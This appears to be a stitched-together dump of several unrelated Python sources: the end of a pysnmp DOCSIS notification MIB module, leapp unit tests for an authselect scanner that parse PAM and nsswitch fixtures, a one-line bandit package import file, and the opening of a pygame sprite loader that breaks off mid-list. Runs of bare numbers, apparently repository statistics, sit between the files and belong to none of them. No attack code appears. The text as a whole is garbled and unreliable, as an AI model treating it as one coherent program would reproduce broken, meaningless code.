docsDevCmNotificationGroup = NotificationGroup((1, 3, 6, 1, 2, 1, 132, 4, 1, 2)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmInitTLVUnknownNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmDynServReqFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmDynServRspFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmDynServAckFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmBpiInitNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmBPKMNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmDynamicSANotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmDHCPFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmSwUpgradeInitNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmSwUpgradeFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmSwUpgradeSuccessNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmSwUpgradeCVCFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmTODFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmDCCReqFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmDCCRspFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmDCCAckFailNotif"),))
if mibBuilder.loadTexts: docsDevCmNotificationGroup.setDescription('A collection of CM notifications providing device status\n and control.')
docsDevCmtsNotifCompliance = ModuleCompliance((1, 3, 6, 1, 2, 1, 132, 4, 2, 2)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsNotifControlGroup"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsNotificationGroup"),))
if mibBuilder.loadTexts: docsDevCmtsNotifCompliance.setDescription('The compliance statement for DOCSIS CMTS Notification\n and Control.')
docsDevCmtsNotifControlGroup = ObjectGroup((1, 3, 6, 1, 2, 1, 132, 4, 1, 3)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsNotifControl"),))
if mibBuilder.loadTexts: docsDevCmtsNotifControlGroup.setDescription('This group represents objects that allow control\n over CMTS Notifications.')
docsDevCmtsNotificationGroup = NotificationGroup((1, 3, 6, 1, 2, 1, 132, 4, 1, 4)).setObjects(*(("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsInitRegReqFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsInitRegRspFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsInitRegAckFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsDynServReqFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsDynServRspFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsDynServAckFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsBpiInitNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsBPKMNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsDynamicSANotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsDCCReqFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsDCCRspFailNotif"), ("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", "docsDevCmtsDCCAckFailNotif"),))
if mibBuilder.loadTexts: docsDevCmtsNotificationGroup.setDescription('A collection of CMTS notifications providing device\n status and control.')
mibBuilder.exportSymbols("DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB", docsDevNotifMIB=docsDevNotifMIB, docsDevCmtsDynServReqFailNotif=docsDevCmtsDynServReqFailNotif, docsDevCmDynServReqFailNotif=docsDevCmDynServReqFailNotif, docsDevCmBPKMNotif=docsDevCmBPKMNotif, docsDevCmInitTLVUnknownNotif=docsDevCmInitTLVUnknownNotif, docsDevCmTODFailNotif=docsDevCmTODFailNotif, docsDevCmtsNotifControl=docsDevCmtsNotifControl, docsDevCmNotifControlGroup=docsDevCmNotifControlGroup, docsDevCmtsDCCAckFailNotif=docsDevCmtsDCCAckFailNotif, docsDevCmBpiInitNotif=docsDevCmBpiInitNotif, docsDevCmDHCPFailNotif=docsDevCmDHCPFailNotif, docsDevCmtsNotifs=docsDevCmtsNotifs, docsDevCmtsBpiInitNotif=docsDevCmtsBpiInitNotif, docsDevCmtsInitRegRspFailNotif=docsDevCmtsInitRegRspFailNotif, docsDevCmDCCRspFailNotif=docsDevCmDCCRspFailNotif, docsDevCmDCCAckFailNotif=docsDevCmDCCAckFailNotif, docsDevNotifConformance=docsDevNotifConformance, docsDevCmtsDCCRspFailNotif=docsDevCmtsDCCRspFailNotif, docsDevCmSwUpgradeCVCFailNotif=docsDevCmSwUpgradeCVCFailNotif, docsDevCmDynamicSANotif=docsDevCmDynamicSANotif, docsDevCmtsInitRegAckFailNotif=docsDevCmtsInitRegAckFailNotif, docsDevCmNotifCompliance=docsDevCmNotifCompliance, docsDevCmSwUpgradeInitNotif=docsDevCmSwUpgradeInitNotif, docsDevNotifGroups=docsDevNotifGroups, docsDevCmtsDynamicSANotif=docsDevCmtsDynamicSANotif, docsDevCmDynServAckFailNotif=docsDevCmDynServAckFailNotif, docsDevCmtsBPKMNotif=docsDevCmtsBPKMNotif, docsDevCmNotifs=docsDevCmNotifs, docsDevCmNotificationGroup=docsDevCmNotificationGroup, docsDevCmNotifControl=docsDevCmNotifControl, docsDevCmDynServRspFailNotif=docsDevCmDynServRspFailNotif, docsDevCmSwUpgradeSuccessNotif=docsDevCmSwUpgradeSuccessNotif, docsDevNotifControl=docsDevNotifControl, PYSNMP_MODULE_ID=docsDevNotifMIB, docsDevCmtsInitRegReqFailNotif=docsDevCmtsInitRegReqFailNotif, docsDevCmtsDCCReqFailNotif=docsDevCmtsDCCReqFailNotif, docsDevCmtsDynServRspFailNotif=docsDevCmtsDynServRspFailNotif, docsDevCmtsNotifCompliance=docsDevCmtsNotifCompliance, docsDevCmtsDynServAckFailNotif=docsDevCmtsDynServAckFailNotif, docsDevCmtsNotificationGroup=docsDevCmtsNotificationGroup, docsDevCmSwUpgradeFailNotif=docsDevCmSwUpgradeFailNotif, docsDevCmDCCReqFailNotif=docsDevCmDCCReqFailNotif, docsDevCmtsNotifControlGroup=docsDevCmtsNotifControlGroup, docsDevNotifCompliances=docsDevNotifCompliances)
| 703.683168
| 2,352
| 0.715078
| 8,590
| 71,072
| 5.915832
| 0.050175
| 0.058661
| 0.068816
| 0.100577
| 0.828679
| 0.819804
| 0.798316
| 0.785229
| 0.777181
| 0.768444
| 0
| 0.016868
| 0.182547
| 71,072
| 100
| 2,353
| 710.72
| 0.857809
| 0.004981
| 0
| 0
| 0
| 0.344086
| 0.812103
| 0.247154
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.096774
| 0
| 0.096774
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
f0be3a45f89b46c31ab64691e496f849505614c3
| 18,484
|
py
|
Python
|
repos/system_upgrade/el7toel8/actors/authselectscanner/tests/unit_test.py
|
panovotn/leapp-repository
|
e80bdbf65393e68bc2e91b43b46fdd9b9b787878
|
[
"Apache-2.0"
] | null | null | null |
repos/system_upgrade/el7toel8/actors/authselectscanner/tests/unit_test.py
|
panovotn/leapp-repository
|
e80bdbf65393e68bc2e91b43b46fdd9b9b787878
|
[
"Apache-2.0"
] | null | null | null |
repos/system_upgrade/el7toel8/actors/authselectscanner/tests/unit_test.py
|
panovotn/leapp-repository
|
e80bdbf65393e68bc2e91b43b46fdd9b9b787878
|
[
"Apache-2.0"
] | null | null | null |
import os
import textwrap
from mock import patch
from leapp.libraries.actor.library import AuthselectScannerLibrary, Authconfig, DConf, read_file
from leapp.libraries.common.pam import PAM
from leapp.models import Authselect
def get_config(config):
return textwrap.dedent(config).strip()
def test_read_file__non_existent():
content = read_file('/this/does/not/exist')
assert content == ''
def test_read_file__ok():
content = read_file(__file__)
assert content != ''
assert 'test_read_file__ok' in content
def test_Authconfig_get_bool__non_existent():
obj = Authconfig('')
assert not obj.get_bool('non-existent-option')
def test_Authconfig_get_bool__true():
obj = Authconfig(get_config('''
test_a=True
test_b=true
test_c=Yes
test_d=yes
'''))
assert obj.get_bool('test_a')
assert obj.get_bool('test_b')
assert obj.get_bool('test_c')
assert obj.get_bool('test_d')
def test_Authconfig_get_bool__false():
obj = Authconfig(get_config('''
test_a=False
test_b=false
test_c=No
test_d=no
'''))
assert not obj.get_bool('test_a')
assert not obj.get_bool('test_b')
assert not obj.get_bool('test_c')
assert not obj.get_bool('test_d')
def test_Authconfig_get_string__non_existent():
obj = Authconfig('')
assert obj.get_string('non-existent-option') is None
def test_Authconfig_get_string__ok():
obj = Authconfig(get_config('''
test_a="str"
test_b=str
'''))
assert obj.get_string('test_a') == 'str'
assert obj.get_string('test_b') == 'str'
def test_DConf_get_bool__non_existent():
obj = DConf('')
assert not obj.get_bool('section', 'non-existent-option')
def test_DConf_get_bool__true():
obj = DConf(get_config('''
[section]
test_a=True
test_b=true
test_c=Yes
test_d=yes
'''))
assert obj.get_bool('section', 'test_a')
assert obj.get_bool('section', 'test_b')
assert obj.get_bool('section', 'test_c')
assert obj.get_bool('section', 'test_d')
def test_DConf_get_bool__false():
obj = DConf(get_config('''
[section]
test_a=False
test_b=false
test_c=No
test_d=no
'''))
assert not obj.get_bool('section', 'test_a')
assert not obj.get_bool('section', 'test_b')
assert not obj.get_bool('section', 'test_c')
assert not obj.get_bool('section', 'test_d')
def test_DConf_get_string__non_existent():
obj = DConf('')
assert obj.get_string('section', 'non-existent-option') is None
def test_DConf_get_string__ok():
obj = DConf(get_config('''
[section]
test_a="str"
test_b=str
'''))
assert obj.get_string('section', 'test_a') == 'str'
assert obj.get_string('section', 'test_b') == 'str'
@patch('leapp.libraries.actor.library.is_service_enabled')
def test_AuthselectScannerLibrary_step_detect_profile__None(mock_service):
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(''), '')
mock_service.return_value = False
assert obj.step_detect_profile() is None
@patch('leapp.libraries.actor.library.is_service_enabled')
def test_AuthselectScannerLibrary_step_detect_profile__sssd(mock_service):
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
mock_service.return_value = False
assert obj.step_detect_profile() == 'sssd'
@patch('leapp.libraries.actor.library.is_service_enabled')
def test_AuthselectScannerLibrary_step_detect_profile__winbind(mock_service):
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_winbind.so
auth required pam_deny.so
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
mock_service.return_value = False
assert obj.step_detect_profile() == 'winbind'
@patch('leapp.libraries.actor.library.is_service_enabled')
def test_AuthselectScannerLibrary_step_detect_profile__nis(mock_service):
pam = get_config('''
auth sufficient pam_unix.so
auth required pam_deny.so
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
mock_service.return_value = True
assert obj.step_detect_profile() == 'nis'
@patch('leapp.libraries.actor.library.is_service_enabled')
def test_AuthselectScannerLibrary_step_detect_profile__sssd_winbind(mock_service):
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_winbind.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
mock_service.return_value = False
assert obj.step_detect_profile() is None
@patch('leapp.libraries.actor.library.is_service_enabled')
def test_AuthselectScannerLibrary_step_detect_profile__sssd_nis(mock_service):
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
mock_service.return_value = True
assert obj.step_detect_profile() is None
@patch('leapp.libraries.actor.library.is_service_enabled')
def test_AuthselectScannerLibrary_step_detect_profile__winbind_nis(mock_service):
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_winbind.so
auth required pam_deny.so
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
mock_service.return_value = True
assert obj.step_detect_profile() is None
@patch('leapp.libraries.actor.library.is_service_enabled')
def test_AuthselectScannerLibrary_step_detect_profile__sssd_winbind_nis(mock_service):
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_winbind.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
mock_service.return_value = True
assert obj.step_detect_profile() is None
def test_AuthselectScannerLibrary_step_detect_features__faillock():
pam = get_config('''
auth required pam_faillock.so preauth silent deny=4 unlock_time=1200
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
assert obj.step_detect_features() == ['with-faillock']
def test_AuthselectScannerLibrary_step_detect_features__fingerprint():
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth sufficient pam_fprintd.so
auth required pam_deny.so
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
assert obj.step_detect_features() == ['with-fingerprint']
def test_AuthselectScannerLibrary_step_detect_features__access():
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
account required pam_access.so
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
assert obj.step_detect_features() == ['with-pamaccess']
def test_AuthselectScannerLibrary_step_detect_features__mkhomedir():
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
session optional pam_mkhomedir.so umask=0077
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
assert obj.step_detect_features() == ['with-mkhomedir']
def test_AuthselectScannerLibrary_step_detect_features__mkhomedir_oddjob():
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
session optional pam_oddjob_mkhomedir.so umask=0077
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
assert obj.step_detect_features() == ['with-mkhomedir']
def test_AuthselectScannerLibrary_step_detect_features__all():
pam = get_config('''
auth required pam_faillock.so preauth silent deny=4 unlock_time=1200
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth sufficient pam_fprintd.so
auth required pam_deny.so
account required pam_access.so
session optional pam_oddjob_mkhomedir.so umask=0077
''')
obj = AuthselectScannerLibrary([], Authconfig(''), DConf(''), PAM(pam), '')
features = obj.step_detect_features()
assert len(features) == 4
assert 'with-faillock' in features
assert 'with-fingerprint' in features
assert 'with-pamaccess' in features
assert 'with-mkhomedir' in features
def test_AuthselectScannerLibrary_step_detect_sssd_features__sudo():
nsswitch = get_config('''
passwd: files sss systemd
group: files sss systemd
sudoers: files sss
''')
obj = AuthselectScannerLibrary(
[], Authconfig(''), DConf(''), PAM(''), nsswitch
)
features = obj.step_detect_sssd_features('sssd')
assert features == ['with-sudo']
def test_AuthselectScannerLibrary_step_detect_sssd_features__smartcard():
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
ac = get_config('''
USESMARTCARD=yes
''')
obj = AuthselectScannerLibrary(
[], Authconfig(ac), DConf(''), PAM(pam), ''
)
features = obj.step_detect_sssd_features('sssd')
assert features == ['with-smartcard']
def test_AuthselectScannerLibrary_step_detect_sssd_features__smartcard_required():
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
ac = get_config('''
FORCESMARTCARD=yes
''')
obj = AuthselectScannerLibrary(
[], Authconfig(ac), DConf(''), PAM(pam), ''
)
features = obj.step_detect_sssd_features('sssd')
assert features == ['with-smartcard-required']
def test_AuthselectScannerLibrary_step_detect_sssd_features__smartcard_lock():
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
dconf = get_config('''
[org/gnome/settings-daemon/peripherals/smartcard]
removal-action='lock-screen'
''')
obj = AuthselectScannerLibrary(
[], Authconfig(''), DConf(dconf), PAM(pam), ''
)
features = obj.step_detect_sssd_features('sssd')
assert features == ['with-smartcard-lock-on-removal']
def test_AuthselectScannerLibrary_step_detect_sssd_features__pkcs11():
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_pkcs11.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
ac = get_config('''
USESMARTCARD=yes
FORCESMARTCARD=yes
''')
dconf = get_config('''
[org/gnome/settings-daemon/peripherals/smartcard]
removal-action='lock-screen'
''')
obj = AuthselectScannerLibrary(
[], Authconfig(ac), DConf(dconf), PAM(pam), ''
)
features = obj.step_detect_sssd_features('sssd')
assert not features
def test_AuthselectScannerLibrary_step_detect_sssd_features__wrong_profile():
nsswitch = get_config('''
passwd: files sss systemd
group: files sss systemd
sudoers: files sss
''')
obj = AuthselectScannerLibrary(
[], Authconfig(''), DConf(''), PAM(''), nsswitch
)
features = obj.step_detect_sssd_features('winbind')
assert not features
def test_AuthselectScannerLibrary_step_detect_winbind_features__krb5():
ac = get_config('''
WINBINDKRB5=yes
''')
obj = AuthselectScannerLibrary(
[], Authconfig(ac), DConf(''), PAM(''), ''
)
features = obj.step_detect_winbind_features('winbind')
assert features == ['with-krb5']
def test_AuthselectScannerLibrary_step_detect_winbind_features__wrong_profile():
ac = get_config('''
WINBINDKRB5=yes
''')
obj = AuthselectScannerLibrary(
[], Authconfig(ac), DConf(''), PAM(''), ''
)
features = obj.step_detect_winbind_features('sssd')
assert not features
@patch('os.readlink')
@patch('os.path.islink')
@patch('os.path.isfile')
@patch('os.path.getmtime')
def test_AuthselectScannerLibrary_step_detect_if_confirmation_is_required__nosysconfig(
mock_getmtime, mock_isfile, mock_islink, mock_readlink
):
obj = AuthselectScannerLibrary(
[], Authconfig(''), DConf(''), PAM(''), ''
)
mock_isfile.return_value = False
assert obj.step_detect_if_confirmation_is_required()
@patch('os.readlink')
@patch('os.path.islink')
@patch('os.path.isfile')
@patch('os.path.getmtime')
def test_AuthselectScannerLibrary_step_detect_if_confirmation_is_required__nolink(
mock_getmtime, mock_isfile, mock_islink, mock_readlink
):
obj = AuthselectScannerLibrary(
[], Authconfig(''), DConf(''), PAM(''), ''
)
mock_isfile.return_value = True
mock_islink.return_value = False
assert obj.step_detect_if_confirmation_is_required()
@patch('os.readlink')
@patch('os.path.islink')
@patch('os.path.isfile')
@patch('os.path.getmtime')
def test_AuthselectScannerLibrary_step_detect_if_confirmation_is_required__badlink(
mock_getmtime, mock_isfile, mock_islink, mock_readlink
):
obj = AuthselectScannerLibrary(
[], Authconfig(''), DConf(''), PAM(''), ''
)
mock_isfile.return_value = True
mock_islink.return_value = True
mock_readlink.return_value = ''
assert obj.step_detect_if_confirmation_is_required()
@patch('os.readlink')
@patch('os.path.islink')
@patch('os.path.isfile')
@patch('os.path.getmtime')
def test_AuthselectScannerLibrary_step_detect_if_confirmation_is_required__badmtime(
mock_getmtime, mock_isfile, mock_islink, mock_readlink
):
def my_getmtime(path):
# Make sysconfig file older then other files.
if path == '/etc/sysconfig/authconfig':
return 100
return 200
obj = AuthselectScannerLibrary(
[], Authconfig(''), DConf(''), PAM(''), ''
)
mock_isfile.return_value = True
mock_islink.return_value = True
mock_readlink.side_effect = '{}-ac'.format
mock_getmtime.side_effect = my_getmtime
assert obj.step_detect_if_confirmation_is_required()
@patch('os.readlink')
@patch('os.path.islink')
@patch('os.path.isfile')
@patch('os.path.getmtime')
def test_AuthselectScannerLibrary_step_detect_if_confirmation_is_required__pass(
mock_getmtime, mock_isfile, mock_islink, mock_readlink
):
def my_getmtime(path):
# Make sysconfig file younger then other files.
if path == '/etc/sysconfig/authconfig':
return 200
return 100
obj = AuthselectScannerLibrary(
[], Authconfig(''), DConf(''), PAM(''), ''
)
mock_isfile.return_value = True
mock_islink.return_value = True
mock_readlink.side_effect = '{}-ac'.format
mock_getmtime.side_effect = my_getmtime
assert not obj.step_detect_if_confirmation_is_required()
@patch('leapp.libraries.actor.library.is_service_enabled')
@patch('leapp.libraries.actor.library.AuthselectScannerLibrary.step_detect_if_confirmation_is_required')
def test_AuthselectScannerLibrary_process__simple(mock_confirm, mock_service):
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
obj = AuthselectScannerLibrary(
['pam_unix', 'pam_sss', 'pam_deny'], Authconfig(''), DConf(''), PAM(pam), ''
)
mock_confirm.return_value = True
mock_service.return_value = False
authselect = obj.process()
assert authselect.profile == 'sssd'
assert not authselect.features
assert authselect.confirm
@patch('leapp.libraries.actor.library.is_service_enabled')
@patch('leapp.libraries.actor.library.AuthselectScannerLibrary.step_detect_if_confirmation_is_required')
def test_AuthselectScannerLibrary_process__features(mock_confirm, mock_service):
pam = get_config('''
auth required pam_faillock.so preauth silent deny=4 unlock_time=1200
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
nsswitch = get_config('''
passwd: files sss systemd
group: files sss systemd
sudoers: files sss
''')
obj = AuthselectScannerLibrary(
['pam_unix', 'pam_sss', 'pam_deny', 'pam_faillock'],
Authconfig(''),
DConf(''),
PAM(pam),
nsswitch
)
mock_confirm.return_value = True
mock_service.return_value = False
authselect = obj.process()
assert authselect.profile == 'sssd'
assert len(authselect.features) == 2
assert 'with-faillock' in authselect.features
assert 'with-sudo' in authselect.features
assert authselect.confirm
@patch('leapp.libraries.actor.library.is_service_enabled')
@patch('leapp.libraries.actor.library.AuthselectScannerLibrary.step_detect_if_confirmation_is_required')
def test_AuthselectScannerLibrary_process__unknown_module(mock_confirm, mock_service):
pam = get_config('''
auth required pam_faillock.so preauth silent deny=4 unlock_time=1200
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
obj = AuthselectScannerLibrary(
['pam_unix', 'pam_sss', 'pam_deny'],
Authconfig(''),
DConf(''),
PAM(pam),
''
)
mock_confirm.return_value = True
mock_service.return_value = False
authselect = obj.process()
assert authselect.profile is None
assert not authselect.features
assert authselect.confirm
@patch('leapp.libraries.actor.library.is_service_enabled')
@patch('leapp.libraries.actor.library.AuthselectScannerLibrary.step_detect_if_confirmation_is_required')
def test_AuthselectScannerLibrary_process__autoconfirm(mock_confirm, mock_service):
pam = get_config('''
auth sufficient pam_unix.so
auth sufficient pam_sss.so
auth required pam_deny.so
''')
obj = AuthselectScannerLibrary(
['pam_unix', 'pam_sss', 'pam_deny'], Authconfig(''), DConf(''), PAM(pam), ''
)
mock_confirm.return_value = False
mock_service.return_value = False
authselect = obj.process()
assert authselect.profile == 'sssd'
assert not authselect.features
assert not authselect.confirm
| 29.5744
| 104
| 0.704177
| 2,241
| 18,484
| 5.493976
| 0.065596
| 0.047109
| 0.063515
| 0.076754
| 0.912687
| 0.885721
| 0.858268
| 0.806855
| 0.772255
| 0.758772
| 0
| 0.003544
| 0.175774
| 18,484
| 624
| 105
| 29.621795
| 0.804595
| 0.004815
| 0
| 0.723014
| 0
| 0
| 0.313723
| 0.068236
| 0
| 0
| 0
| 0
| 0.14664
| 1
| 0.093686
| false
| 0.008147
| 0.01222
| 0.002037
| 0.11609
| 0.010183
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
acc5c9ce4c2ac34fb35511a8739f322190011cfd
| 185
|
py
|
Python
|
traditional_rl/ExploreExploit/EpsilonGreedy/__init__.py
|
akanimax/deep-reinforcement-learning
|
0d1299bd6bf009d137e210f5b4223ede6b84be8d
|
[
"MIT"
] | 1
|
2018-09-18T05:56:42.000Z
|
2018-09-18T05:56:42.000Z
|
traditional_rl/ExploreExploit/EpsilonGreedy/__init__.py
|
akanimax/deep-reinforcement-learning
|
0d1299bd6bf009d137e210f5b4223ede6b84be8d
|
[
"MIT"
] | null | null | null |
traditional_rl/ExploreExploit/EpsilonGreedy/__init__.py
|
akanimax/deep-reinforcement-learning
|
0d1299bd6bf009d137e210f5b4223ede6b84be8d
|
[
"MIT"
] | 1
|
2018-09-18T06:07:04.000Z
|
2018-09-18T06:07:04.000Z
|
""" Module for experimentation containing epsilon greedy strategy
"""
from ExploreExploit.EpsilonGreedy.bandit import Bandit
from ExploreExploit.EpsilonGreedy.simulate import simulate
| 30.833333
| 65
| 0.848649
| 19
| 185
| 8.263158
| 0.684211
| 0.229299
| 0.394904
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.097297
| 185
| 5
| 66
| 37
| 0.94012
| 0.32973
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
accaaa6b88ee408470539a4265da86b728287db4
| 9,360
|
py
|
Python
|
sprites.py
|
AtlasDisease/Zombies
|
87bcfa3d93c4ed29658a0492f099e409946a2c32
|
[
"BSD-3-Clause"
] | null | null | null |
sprites.py
|
AtlasDisease/Zombies
|
87bcfa3d93c4ed29658a0492f099e409946a2c32
|
[
"BSD-3-Clause"
] | null | null | null |
sprites.py
|
AtlasDisease/Zombies
|
87bcfa3d93c4ed29658a0492f099e409946a2c32
|
[
"BSD-3-Clause"
] | null | null | null |
# --- Imports --- #
import pygame
import random
# --- All Sprites --- #
Player_Type_Int = random.randrange(0,4)
Map_Type = 0
if Player_Type_Int == 0:
Player_Graphic = pygame.image.load("Images/Nerd.png")
Player_Running = pygame.image.load("Images/Nerd_Running.png")
# Player_Running_1 = pygame.image.load("Images/Nerd_Running1.png")
Player_Shooting = pygame.image.load("Images/Nerd_Shooting.png")
Player_Shooting_AR = pygame.image.load("Images/Nerd_Shooting_Assault_Rifle.png")
Player_Shooting_AR_Running = pygame.image.load("Images/Nerd_Shooting_Assault_Rifle_Running.png")
# Player_Shooting_AR_Running_1 = pygame.image.load("Images/Nerd_Shooting_Assault_Rifle_Running1.png")
Player_Shooting_SMG = pygame.image.load("Images/Nerd_Shooting_Submachine_Gun.png")
Player_Shooting_SMG_Running = pygame.image.load("Images/Nerd_Shooting_Submachine_Gun_Running.png")
# Player_Shooting_SMG_Running_1 = pygame.image.load("Images/Nerd_Shooting_Submachine_Gun_Running1.png")
Player_Shooting_MG = pygame.image.load("Images/Nerd_Shooting_Machine_Gun.png")
Player_Shooting_MG_Running = pygame.image.load("Images/Nerd_Shooting_Machine_Gun_Running.png")
# Player_Shooting_MG_Running_1 = pygame.image.load("Images/Nerd_Shooting_Machine_Gun_Running1.png")
Player_Shooting_SR = pygame.image.load("Images/Nerd_Shooting_Sniper.png")
Player_Shooting_SR_Running = pygame.image.load("Images/Nerd_Shooting_Sniper_Running.png")
# Player_Shooting_SR_Running_1 = pygame.image.load("Images/Nerd_Shooting_Sniper_Running1.png")
Player_Shooting_SG = pygame.image.load("Images/Nerd_Shooting_Shotgun.png")
Player_Shooting_SG_Running = pygame.image.load("Images/Nerd_Shooting_Shotgun_Running.png")
# Player_Shooting_SG_Running_1 = pygame.image.load("Images/Nerd_Shooting_Shotgun_Running1.png")
Player_Shooting_HG = pygame.image.load("Images/Nerd_Shooting_Handgun.png")
Player_Shooting_HG_Running = pygame.image.load("Images/Nerd_Shooting_Handgun_Running.png")
# Player_Shooting_HG_Running_1 = pygame.image.load("Images/Nerd_Shooting_Handgun_Running1.png")
Player_Walking_List = [Player_Graphic, Player_Running]
Player_Shooting_Melee_List = [Player_Shooting]
Player_Shooting_HG_List = [Player_Shooting_HG, Player_Shooting_HG_Running]
Player_Shooting_SG_List = [Player_Shooting_SG, Player_Shooting_SG_Running]
Player_Shooting_SR_List = [Player_Shooting_SR, Player_Shooting_SR_Running]
Player_Shooting_MG_List = [Player_Shooting_MG, Player_Shooting_MG_Running]
Player_Shooting_SMG_List = [Player_Shooting_SMG, Player_Shooting_SMG_Running]
Player_Shooting_AR_List = [Player_Shooting_AR, Player_Shooting_AR_Running]
